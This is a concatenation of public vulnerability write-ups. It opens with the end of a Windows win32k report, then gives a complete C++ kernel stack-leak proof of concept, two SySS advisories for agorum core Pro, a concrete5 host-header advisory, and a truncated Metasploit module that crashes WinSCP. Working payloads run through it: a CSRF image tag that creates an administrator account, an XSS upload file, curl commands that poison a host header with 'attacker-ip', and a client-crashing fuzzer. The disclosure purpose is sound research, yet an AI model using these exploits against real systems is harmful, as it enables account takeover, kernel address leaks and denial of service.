eip=943587f1 esp=92341b90 ebp=92341b98 iopl=0 nv up ei pl zr na pe nc
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010246
win32k!GreGetBitmapSize+0x34:
943587f1 8b7820 mov edi,dword ptr [eax+20h] ds:0023:fe3ff008=????????
Resetting default scope
LAST_CONTROL_TRANSFER: from 816f9dff to 816959d8
STACK_TEXT:
9234166c 816f9dff 00000003 09441320 00000065 nt!RtlpBreakWithStatusInstruction
923416bc 816fa8fd 00000003 00000000 00000002 nt!KiBugCheckDebugBreak+0x1c
92341a80 816a899d 00000050 fe3ff008 00000000 nt!KeBugCheck2+0x68b
92341b04 8165af98 00000000 fe3ff008 00000000 nt!MmAccessFault+0x104
92341b04 943587f1 00000000 fe3ff008 00000000 nt!KiTrap0E+0xdc
92341b98 9434383e fe3fefe8 00000000 067f9cd5 win32k!GreGetBitmapSize+0x34
92341c08 81657db6 00000000 00000001 00000000 win32k!NtGdiGetDIBitsInternal+0x17f
92341c08 011d09e1 00000000 00000001 00000000 nt!KiSystemServicePostCall
[...]
--- cut ---
The out-of-bounds data read by GreGetBitmapSize() could then be extracted back to user-mode to some degree, which could help disclose sensitive data or defeat certain kernel security mitigations (such as kASLR).
Attached is a PoC program for Windows 7 32-bit (double_fetch_oob_read.cpp).
----------[ Unhandled out-of-bounds write to user-mode memory when requesting RLE-compressed bitmaps ]----------
The 5th parameter of the NtGdiGetDIBitsInternal syscall is a pointer to an output buffer where the bitmap data should be written to. The length of the buffer is specified in the 8th parameter, and can be optionally 0. The logic of sanitizing and locking the memory area is shown below ("Buffer" is the 5th argument and "Length" is the 8th).
--- cut ---
if (Length != 0 || (Length = GreGetBitmapSize(bmi)) != 0) {
ProbeForWrite(Buffer, Length, 4);
MmSecureVirtualMemory(Buffer, Length, PAGE_READWRITE);
}
--- cut ---
We can see that if the "Length" argument is non-zero, it is prioritized over the result of GreGetBitmapSize() in specifying how many bytes of the user-mode output buffer should be locked in memory as readable/writeable. Since the two calls above are supposed to guarantee that the required user-mode memory region will be accessible until it is unlocked, the call to the GreGetDIBitsInternal() function which actually fills the buffer with data is not guarded with a try/except block.
However, if we look into GreGetDIBitsInternal() and further into GreGetDIBitsInternalWorker(), we can see that if a RLE-compressed bitmap is requested by the user (as indicated by bmi.biCompression set to BI_RLE[4,8]), the internal EncodeRLE4() and EncodeRLE8() routines are responsible for writing the output data. The legal size of the buffer is passed through the functions' 5th parameter (last one), and is always set to bmi.biSizeImage. This creates a discrepancy: a different number of bytes is ensured to be present in memory (Length), and a different number can be actually written to it (bmi.biSizeImage). Due to the lack of exception handling in this code area, the resulting exception causes a system-wide bugcheck:
--- cut ---
KERNEL_MODE_EXCEPTION_NOT_HANDLED (8e)
This is a very common bugcheck. Usually the exception address pinpoints
the driver/function that caused the problem. Always note this address
as well as the link date of the driver/image that contains this address.
Some common problems are exception code 0x80000003. This means a hard
coded breakpoint or assertion was hit, but this system was booted
/NODEBUG. This is not supposed to happen as developers should never have
hardcoded breakpoints in retail code, but ...
If this happens, make sure a debugger gets connected, and the
system is booted /DEBUG. This will let us see why this breakpoint is
happening.
Arguments:
Arg1: c0000005, The exception code that was not handled
Arg2: 9461564b, The address that the exception occurred at
Arg3: 9d0539a0, Trap Frame
Arg4: 00000000
Debugging Details:
------------------
[...]
TRAP_FRAME: 9d0539a0 -- (.trap 0xffffffff9d0539a0)
ErrCode = 00000002
eax=00291002 ebx=00291000 ecx=00000004 edx=fe9bb1c1 esi=00000064 edi=fe9bb15c
eip=9461564b esp=9d053a14 ebp=9d053a40 iopl=0 nv up ei ng nz ac pe cy
cs=0008 ss=0010 ds=0023 es=0023 fs=0030 gs=0000 efl=00010297
win32k!EncodeRLE8+0x1ac:
9461564b c60300 mov byte ptr [ebx],0 ds:0023:00291000=??
Resetting default scope
[...]
STACK_TEXT:
9d052f5c 8172adff 00000003 17305ce1 00000065 nt!RtlpBreakWithStatusInstruction
9d052fac 8172b8fd 00000003 9d0533b0 00000000 nt!KiBugCheckDebugBreak+0x1c
9d053370 8172ac9c 0000008e c0000005 9461564b nt!KeBugCheck2+0x68b
9d053394 817002f7 0000008e c0000005 9461564b nt!KeBugCheckEx+0x1e
9d053930 81689996 9d05394c 00000000 9d0539a0 nt!KiDispatchException+0x1ac
9d053998 8168994a 9d053a40 9461564b badb0d00 nt!CommonDispatchException+0x4a
9d053a40 944caea9 fe9bb1c1 ff290ffc 00000064 nt!KiExceptionExit+0x192
9d053b04 944e8b09 00000028 9d053b5c 9d053b74 win32k!GreGetDIBitsInternalWorker+0x73e
9d053b7c 944d390f 0c0101fb 1f050140 00000000 win32k!GreGetDIBitsInternal+0x21b
9d053c08 81688db6 0c0101fb 1f050140 00000000 win32k!NtGdiGetDIBitsInternal+0x250
9d053c08 00135ba6 0c0101fb 1f050140 00000000 nt!KiSystemServicePostCall
[...]
--- cut ---
While the size of the buffer passed to EncodeRLE[4,8] can be arbitrarily controlled through bmi.biSizeImage (32-bit field), it doesn't enable an attacker to corrupt kernel-mode memory, as the memory writing takes place sequentially from the beginning to the end of the buffer. Furthermore, since the code in NtGdiGetDIBitsInternal() makes sure that the buffer size passed to ProbeForWrite() is >= 1, its base address must reside in user space. As such, this appears to be a DoS issue only, if we haven't missed anything in our analysis.
Attached is a PoC program for Windows 7 32-bit (usermode_oob_write.cpp), and a bitmap file necessary for the exploit to work (test.bmp).
Proof of Concept:
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/41879.zip
/*
Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1192
We have discovered that it is possible to disclose portions of uninitialized kernel stack memory to user-mode applications in Windows 10 indirectly through the win32k!NtUserPaintMenuBar system call, or more specifically, through the user32!fnINLPUAHDRAWMENUITEM user-mode callback (#107 on Windows 10 1607 32-bit).
In our tests, the callback is invoked under the following stack trace:
--- cut ---
a75e6a8c 81b63813 nt!memcpy
a75e6aec 9b1bb7bc nt!KeUserModeCallback+0x163
a75e6c10 9b14ff79 win32kfull!SfnINLPUAHDRAWMENUITEM+0x178
a75e6c68 9b1501a3 win32kfull!xxxSendMessageToClient+0xa9
a75e6d20 9b15361c win32kfull!xxxSendTransformableMessageTimeout+0x133
a75e6d44 9b114420 win32kfull!xxxSendMessage+0x20
a75e6dec 9b113adc win32kfull!xxxSendMenuDrawItemMessage+0x102
a75e6e48 9b1138f4 win32kfull!xxxDrawMenuItem+0xee
a75e6ecc 9b110955 win32kfull!xxxMenuDraw+0x184
a75e6f08 9b11084e win32kfull!xxxPaintMenuBar+0xe1
a75e6f34 819a8987 win32kfull!NtUserPaintMenuBar+0x7e
a75e6f34 77d74d50 nt!KiSystemServicePostCall
00f3f08c 7489666a ntdll!KiFastSystemCallRet
00f3f090 733ea6a8 win32u!NtUserPaintMenuBar+0xa
00f3f194 733e7cef uxtheme!CThemeWnd::NcPaint+0x1fc
00f3f1b8 733ef3c0 uxtheme!OnDwpNcActivate+0x3f
00f3f22c 733ede88 uxtheme!_ThemeDefWindowProc+0x800
00f3f240 75d8c2aa uxtheme!ThemeDefWindowProcW+0x18
00f3f298 75d8be4a USER32!DefWindowProcW+0x14a
00f3f2b4 75db53cf USER32!DefWindowProcWorker+0x2a
00f3f2d8 75db8233 USER32!ButtonWndProcW+0x2f
00f3f304 75d8e638 USER32!_InternalCallWinProc+0x2b
00f3f3dc 75d8e3a5 USER32!UserCallWinProcCheckWow+0x218
00f3f438 75da5d6f USER32!DispatchClientMessage+0xb5
00f3f468 77d74c86 USER32!__fnDWORD+0x3f
00f3f498 74894c3a ntdll!KiUserCallbackDispatcher+0x36
00f3f49c 75d9c1a7 win32u!NtUserCreateWindowEx+0xa
00f3f774 75d9ba68 USER32!VerNtUserCreateWindowEx+0x231
00f3f84c 75d9b908 USER32!CreateWindowInternal+0x157
00f3f88c 000d15b7 USER32!CreateWindowExW+0x38
--- cut ---
The layout of the i/o structure passed down to the user-mode callback that we're seeing is as follows:
--- cut ---
00000000: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000010: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000020: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000030: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000040: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ................
00000070: ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ................
00000080: 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ................
--- cut ---
Where 00 denote bytes which are properly initialized, while ff indicate uninitialized values copied back to user-mode. As shown above, there are 20 bytes leaked at offsets 0x6c-0x7f. We have determined that these bytes originally come from a smaller structure of size 0x74, allocated in the stack frame of the win32kfull!xxxSendMenuDrawItemMessage function.
We can easily demonstrate the vulnerability with a kernel debugger (WinDbg), by setting a breakpoint at win32kfull!xxxSendMenuDrawItemMessage, filling the local structure with a marker 0x41 ('A') byte after stepping through the function prologue, and then observing that these bytes indeed survived any kind of initialization and are printed out by the attached proof-of-concept program:
--- cut ---
3: kd> ba e 1 win32kfull!xxxSendMenuDrawItemMessage
3: kd> g
Breakpoint 0 hit
win32kfull!xxxSendMenuDrawItemMessage:
9b11431e 8bff mov edi,edi
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0x2:
9b114320 55 push ebp
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0x3:
9b114321 8bec mov ebp,esp
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0x5:
9b114323 81ec8c000000 sub esp,8Ch
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0xb:
9b114329 a1e0dd389b mov eax,dword ptr [win32kfull!__security_cookie (9b38dde0)]
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0x10:
9b11432e 33c5 xor eax,ebp
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0x12:
9b114330 8945fc mov dword ptr [ebp-4],eax
1: kd> p
win32kfull!xxxSendMenuDrawItemMessage+0x15:
9b114333 833d0ca6389b00 cmp dword ptr [win32kfull!gihmodUserApiHook (9b38a60c)],0
1: kd> f ebp-78 ebp-78+74-1 41
Filled 0x74 bytes
1: kd> g
--- cut ---
Then, the relevant part of the PoC output should be similar to the following:
--- cut ---
00000000: 88 b2 12 01 92 00 00 00 00 00 00 00 01 00 00 00 ................
00000010: 00 00 00 00 39 05 00 00 01 00 00 00 00 01 00 00 ....9...........
00000020: 61 02 0a 00 1a 08 01 01 08 00 00 00 1f 00 00 00 a...............
00000030: 50 00 00 00 32 00 00 00 00 00 00 00 61 02 0a 00 P...2.......a...
00000040: 1a 08 01 01 00 0a 00 00 00 00 00 00 00 00 00 00 ................
00000050: 00 00 00 00 3a 00 00 00 0f 00 00 00 00 00 00 00 ....:...........
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 41 41 41 41 ............AAAA
00000070: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA
00000080: a0 64 d8 77 60 66 d8 77 ?? ?? ?? ?? ?? ?? ?? ?? .d.w`f.w........
--- cut ---
The 20 aforementioned bytes are clearly leaked to ring-3 in an unmodified, uninitialized form. If we don't manually insert markers into the kernel stack, an example output of the PoC can be as follows:
--- cut ---
00000000: 88 b2 ab 01 92 00 00 00 00 00 00 00 01 00 00 00 ................
00000010: 00 00 00 00 39 05 00 00 01 00 00 00 00 01 00 00 ....9...........
00000020: db 01 1d 00 47 08 01 17 08 00 00 00 1f 00 00 00 ....G...........
00000030: 50 00 00 00 32 00 00 00 00 00 00 00 db 01 1d 00 P...2...........
00000040: 47 08 01 17 00 0a 00 00 00 00 00 00 00 00 00 00 G...............
00000050: 00 00 00 00 3a 00 00 00 0f 00 00 00 00 00 00 00 ....:...........
00000060: 00 00 00 00 00 00 00 00 00 00 00 00 28 d3 ab 81 ............(...
00000070: 80 aa 20 9b 33 26 fb af fe ff ff ff 00 5e 18 94 .. .3&.......^..
00000080: a0 64 d8 77 60 66 d8 77 ?? ?? ?? ?? ?? ?? ?? ?? .d.w`f.w........
--- cut ---
Starting at offset 0x6C, we can observe leaked contents of a kernel _EH3_EXCEPTION_REGISTRATION structure:
.Next = 0x81abd328
.ExceptionHandler = 0x9b20aa80
.ScopeTable = 0xaffb2633
.TryLevel = 0xfffffffe
This immediately discloses the address of the kernel-mode stack and the win32k image in memory -- information that is largely useful for local attackers seeking to defeat the kASLR exploit mitigation, or disclose other sensitive data stored in the kernel address space.
*/
#include <Windows.h>
#include <cstdio>
namespace globals {
LPVOID (WINAPI *Orig_fnINLPUAHDRAWMENUITEM)(LPVOID);
} // namespace globals;
VOID PrintHex(PBYTE Data, ULONG dwBytes) {
for (ULONG i = 0; i < dwBytes; i += 16) {
printf("%.8x: ", i);
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes) {
printf("%.2x ", Data[i + j]);
}
else {
printf("?? ");
}
}
for (ULONG j = 0; j < 16; j++) {
if (i + j < dwBytes && Data[i + j] >= 0x20 && Data[i + j] <= 0x7e) {
printf("%c", Data[i + j]);
}
else {
printf(".");
}
}
printf("\n");
}
}
PVOID *GetUser32DispatchTable() {
__asm{
mov eax, fs:30h
mov eax, [eax + 0x2c]
}
}
BOOL HookUser32DispatchFunction(UINT Index, PVOID lpNewHandler, PVOID *lpOrigHandler) {
PVOID *DispatchTable = GetUser32DispatchTable();
DWORD OldProtect;
if (!VirtualProtect(DispatchTable, 0x1000, PAGE_READWRITE, &OldProtect)) {
printf("VirtualProtect#1 failed, %d\n", GetLastError());
return FALSE;
}
*lpOrigHandler = DispatchTable[Index];
DispatchTable[Index] = lpNewHandler;
if (!VirtualProtect(DispatchTable, 0x1000, OldProtect, &OldProtect)) {
printf("VirtualProtect#2 failed, %d\n", GetLastError());
return FALSE;
}
return TRUE;
}
LPVOID WINAPI fnINLPUAHDRAWMENUITEM_Hook(LPVOID Data) {
printf("----------\n");
PrintHex((PBYTE)Data, 0x88);
return globals::Orig_fnINLPUAHDRAWMENUITEM(Data);
}
int main() {
// Hook the user32!fnINLPUAHDRAWMENUITEM user-mode callback dispatch function.
// The #107 index is specific to Windows 10 1607 32-bit.
if (!HookUser32DispatchFunction(107, fnINLPUAHDRAWMENUITEM_Hook, (PVOID *)&globals::Orig_fnINLPUAHDRAWMENUITEM)) {
return 1;
}
// Create a menu.
HMENU hmenu = CreateMenu();
AppendMenu(hmenu, MF_STRING, 1337, L"Menu item");
// Create a window with the menu in order to trigger the vulnerability.
HWND hwnd = CreateWindowW(L"BUTTON", L"TestWindow", WS_OVERLAPPEDWINDOW | WS_VISIBLE,
CW_USEDEFAULT, CW_USEDEFAULT, 100, 100, NULL, hmenu, 0, 0);
DestroyWindow(hwnd);
return 0;
}
<!--
Source: https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2017-008.txt
Advisory ID: SYSS-2017-008
Product: agorum core Pro
Manufacturer: agorum Software GmbH
Affected Version(s): 7.8.1.4-251
Tested Version(s): 7.8.1.4-251
Vulnerability Type: Cross-Site Request Forgery (CWE-352)
Risk Level: Medium
Solution Status: Open
Manufacturer Notification: 2017-02-06
Solution Date: 2017-04-06
Public Disclosure: 2017-04-12
CVE Reference: Not yet assigned
Author of Advisory: Sascha Grimmeisen & Dr. Erlijn van Genuchten, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
agorum core Pro is a module based Document Management System. It allows
the customer to buy only required modules and can be extended when
needed.
Due to missing protection mechanisms, the web application component is
vulnerable to cross-site request forgery (CSRF) attacks.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
The tested web application component offers no protection against cross-
site request forgery (CSRF) attacks. This kind of attack forces end
users respectively their web browsers to perform unwanted actions in a
web application context in which they are currently authenticated.
CSRF attacks specifically target state-changing requests, for example in
order to enable or disable a feature, and not data theft, as an attacker
usually has no possibility to see the response of the forged request.
In general, CSRF attacks are conducted with the help of the victim, for
example by a user visiting an attacker-controlled URL sent by e-mail in
its web browser. Often, cross-site request forgery attacks make use of
cross-site scripting attacks, but this is not mandatory.
CSRF attacks can also be performed against a web application if a victim
is only visiting an attacker-controlled web server. In this case, the
attacker-controlled web server is used to generate a specially crafted
HTTP request in the context of the user's web browser which is then sent
to the vulnerable target web application.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
The following HTML file containing a web form generates a simple crafted
HTTP POST request that can be used to add an administration user to the
web application in the context of an administrative user.
PoC HTML file to add an administration user 'ADDEDUSER' with the password
'PASSWORD123':
-->
<html>
<body>
<img src="https://[HOST]/roiwebui/roiwebui_module/genericEditMaskSaveAction.do?interSaveIdent=¤tTabName=&attribute(name)=ADDEDUSER&attribute(aliases)=&attribute(credentialManager)=roi&attribute(passWord1)=PASSWORD123&attribute(passWord2)=PASSWORD123&attribute(adminEnabled)=on&attribute(description)=&attribute(familyName)=ADDEDUSER&attribute(givenName)=GmbH&attribute(emailAddress)=ADDEDUSER@EXAMPLE.COM&attribute(sendingEmailAddress)=&attribute(language)=de&attribute(mandatorIdentifier)=&attribute(defaultRole)=&attribute(associatedRole)=&folderId=1002356&portalTabNumber=1004&myTabNumber=1005&editMaskName=UserObjectEditMask&portalTabNumber=1004&attribute(selectedTab)=2">
</body>
</html>
<!--
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
Update to agorum core 7.11.3. [4]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2017-01-30: Vulnerability discovered
2017-02-06: Vulnerability reported to manufacturer
2017-04-06: Public disclosure
2017-04-06: Fix confirmed by manufacturer
2017-04-12: Vulnerability published
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] Product website for agorum Software GmbH
http://mein-dms.agorum.com/
[2] SySS Security Advisory SYSS-2017-008
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2017-008.txt
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/news/responsible-disclosure-policy/
[4] Agorum Change Log
https://d4w.agorum.com/roiwebui/files/520986548/Changelog.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Dr. Erlijn van Genuchten and
Sascha Grimmeisen of SySS GmbH.
E-Mail: erlijn.vangenuchten@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Erlijn_van_Genuchten.asc
Key ID: 0xBD96FF2A
Key Fingerprint: 17BB 4CED 755A CBB3 2D47 C563 0CA5 8637 BD96 FF2A
E-Mail: sascha.grimmeisen@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Sascha_Grimmeisen.asc
Key ID: 0xD3D9C868
Key Fingerprint: 4937 7FCF BA8E 3D80 1AAD 4AC4 7C1D E510 D3D9 C868
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en
-->
<!--
Source: https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2017-005.txt
Advisory ID: SYSS-2017-005
Product: agorum core Pro
Manufacturer: agorum Software GmbH
Affected Version(s): 7.8.1.4-251
Tested Version(s): 7.8.1.4-251
Vulnerability Type: Persistent Cross-Site Scripting (CWE-79)
Risk Level: High
Solution Status: Open
Manufacturer Notification: 2017-02-06
Solution Date: 2017-04-06
Public Disclosure: 2017-04-12
CVE Reference: Not yet assigned
Author of Advisory: Dr. Erlijn van Genuchten & Sascha Grimmeisen, SySS GmbH
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Overview:
agorum core Pro is a module based Document Management System. It allows
the customer to buy only required modules and can be extended when
needed.
Due to the possibility to upload HTML files that can include JavaScript
attack vectors, the DMS is vulnerable to persistent cross-site
scripting.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Vulnerability Details:
SySS GmbH found out that the "file upload" function of the desk4web
module is prone to persistent cross-site scripting attacks as users are
allowed to upload and display HTML files that include JavaScript code.
This code is executed in the context of other users when opening the
file and can therefore be used to attack other users.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Proof of Concept (PoC):
In the desk4web module, users are able to upload files. For example,
a file called "xssattack.html" with the following content can be
uploaded:
-->
<html>
<head>
</head>
<body>
<script>alert("XSS Attack")</script>
</body>
</html>
<!--
When opening this file, the message "XSS Attack" is displayed. As this
file can be opened by other users, the included JavaScript code can be
used to attack other users.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Solution:
Update to agorum core 7.11.3. [4]
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclosure Timeline:
2017-01-30: Vulnerability discovered
2017-02-06: Vulnerability reported to manufacturer
2017-04-06: Public disclosure
2017-04-06: Fix confirmed by manufacturer
2017-04-12: Vulnerability published
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
References:
[1] Product website for agorum Software GmbH
http://mein-dms.agorum.com/
[2] SySS Security Advisory SYSS-2017-005
https://www.syss.de/fileadmin/dokumente/Publikationen/Advisories/SYSS-2017-005.txt
[3] SySS Responsible Disclosure Policy
https://www.syss.de/en/news/responsible-disclosure-policy/
[4] Agorum Change Log
https://d4w.agorum.com/roiwebui/files/520986548/Changelog.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Credits:
This security vulnerability was found by Dr. Erlijn van Genuchten and
Sascha Grimmeisen of SySS GmbH.
E-Mail: erlijn.vangenuchten@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Erlijn_van_Genuchten.asc
Key ID: 0xBD96FF2A
Key Fingerprint: 17BB 4CED 755A CBB3 2D47 C563 0CA5 8637 BD96 FF2A
E-Mail: sascha.grimmeisen@syss.de
Public Key: https://www.syss.de/fileadmin/dokumente/PGPKeys/Sascha_Grimmeisen.asc
Key ID: 0xD3D9C868
Key Fingerprint: 4937 7FCF BA8E 3D80 1AAD 4AC4 7C1D E510 D3D9 C868
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Disclaimer:
The information provided in this security advisory is provided "as is"
and without warranty of any kind. Details of this security advisory may
be updated in order to provide as accurate information as possible. The
latest version of this security advisory is available on the SySS Web
site.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Copyright:
Creative Commons - Attribution (by) - Version 3.0
URL: http://creativecommons.org/licenses/by/3.0/deed.en
-->
[+] Credits: John Page a.k.a hyp3rlinx
[+] Website: hyp3rlinx.altervista.org
[+] Source: http://hyp3rlinx.altervista.org/advisories/CONCRETE5-v8.1.0-HOST-HEADER-INJECTION.txt
[+] ISR: ApparitionSec
Vendor:
==================
www.concrete5.org
Product:
================
concrete5 v8.1.0
concrete5 is an open-source content management system (CMS) for publishing content on the World Wide Web and intranets.
Vulnerability Type:
======================
Host Header Injection
CVE Reference:
==============
CVE-2017-7725
Security Issue:
================
If a user does not specify a "canonical" URL on installation of concrete5, unauthenticated remote attackers can write to the
"collectionversionblocksoutputcache" table of the MySQL Database, by making HTTP GET request with a poisoned HOST header.
Some affected concrete5 webpages can then potentially render arbitrary links that can point to a malicious website.
Example MySQL data from "CollectionVersionBlocksOutputCache" table.
(164, 1, 57, 'Header Site Title', '<a href="http://attacker-ip/concrete5-8.1.0/index.php" id="header-site-title">Elemental</a>', 1649861489
e.g.
c:\> curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip" | more
<!DOCTYPE html>
<html lang="en">
<head>
<meta http-equiv="X-UA-Compatible" content="IE=edge">
<link rel="stylesheet" type="text/css" href="/concrete5-8.1.0/concrete/themes/elemental/css/bootstrap-modified.css">
<link href="/concrete5-8.1.0/application/files/cache/css/elemental/main.css?ts=1492101910" rel="stylesheet" type="text/css" media="all">
<title>Services :: POC</title>
<meta http-equiv="content-type" content="text/html; charset=UTF-8"/>
<meta name="generator" content="concrete5 - 8.1.0"/>
<script type="text/javascript">
var CCM_DISPATCHER_FILENAME = "/concrete5-8.1.0/index.php";
var CCM_CID = 162;
var CCM_EDIT_MODE = false;
var CCM_ARRANGE_MODE = false;
var CCM_IMAGE_PATH = "/concrete5-8.1.0/concrete/images";
var CCM_TOOLS_PATH = "/concrete5-8.1.0/index.php/tools/required";
var CCM_APPLICATION_URL = "http://attacker-ip/concrete5-8.1.0"; <=================== HERE
var CCM_REL = "/concrete5-8.1.0";
</script>
Exploit:
=========
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/team/faq -H "Host: attacker-ip"
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/services -H "Host: attacker-ip"
curl -v http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio -H "Host: attacker-ip"
Navigate to one of these URLs:
http://VICTIM-IP/concrete5-8.1.0/index.php/services
http://VICTIM-IP/concrete5-8.1.0/index.php/portfolio
Click on links in header portion of the webpage from one of the above URLs.
Services
Portfolio
Team / Drop down Menu
Blog
Contact
OR
click on the links on footer portion of the webpage.
FAQ / Help
Case Studies
Blog
Another Link
View on Google Maps
Result: user gets redirected to attacker-ip.
Network Access:
===============
Remote
Severity:
=========
High
Disclosure Timeline:
======================================================
Vendor Notification : April 11, 2017
Vendor reply: "this is a known issue" : April 12, 2017
Requested a CVE from mitre.
CVE assigned : April 12, 2017
April 13, 2017 : Public Disclosure
[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).
##
# Exploit Title: WinSCP 5.9.4 - (LIST) Command Denial of service (Crush application)
# Date: [4-4-2017] mm.dd.yy
# Exploit Author: [M.Ibrahim] vulnbug@gmail.com
# E-Mail: vulnbug <at> gmail.com
# Vendor Home Page: https://winscp.net/eng/index.php
# Vendor download link: https://winscp.net/download/WinSCP-5.9.4-Setup.exe
# Version: [WinSCP 5.9.4]
# Tested on: windows 7 x86
##
#put the file winSCP 5.9.4.rb in metasploit framework folder name exploit then write this command to refresh all module in metasploit ==> reload_all
#then run -j
#now fake ftp server is ready
#try to connect to this fake ftp server with winscp client and it will crush
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Exploit::Remote::TcpServer
def initialize()
super(
'Name' => 'WinSCP CRUSHER',
'Description' => %q{
This module will Crush WinSCP FTP client
},
'Author' => [ 'M.Ibrahim <vulnbug[at]gmail.com>' ],
'License' => MSF_LICENSE,
'References' =>
[
[ 'URL', 'http://www.google.com' ],
]
)
register_options(
[
OptPort.new('SRVPORT', [ true, "The local port to listen on.", 21 ]),
OptString.new('FUZZCMDS', [ true, "The FTP client server Command to crush.", "LIST", nil, /(?:[A-Z]+,?)+/ ]),
OptInt.new('STARTSIZE', [ true, "Crush string startsize.",2000]),
OptInt.new('ENDSIZE', [ true, "Max Fuzzing string size.",200000]),
OptInt.new('STEPSIZE', [ true, "Increment fuzzing string each attempt.",1000]),
OptBool.new('RESET', [ true, "Reset fuzzing values after client disconnects with QUIT cmd.",true]),
OptString.new('WELCOME', [ true, "Fake FTP Server welcome message.","FTP WinSCP server CRusher"]),
OptBool.new('CYCLIC', [ true, "Use Cyclic pattern instead of A's .",false]),
OptBool.new('ERROR', [ true, "Reply with error codes only",false]),
OptBool.new('EXTRALINE', [ true, "Add extra CRLF's in response to LIST",true])
], self.class)
end
def support_ipv6?
false
end
def setup
super
@state = {}
end
def run
@fuzzsize=datastore['STARTSIZE'].to_i
exploit()
end
def on_client_connect(c)
@state[c] = {
:name => "#{c.peerhost}:#{c.peerport}",
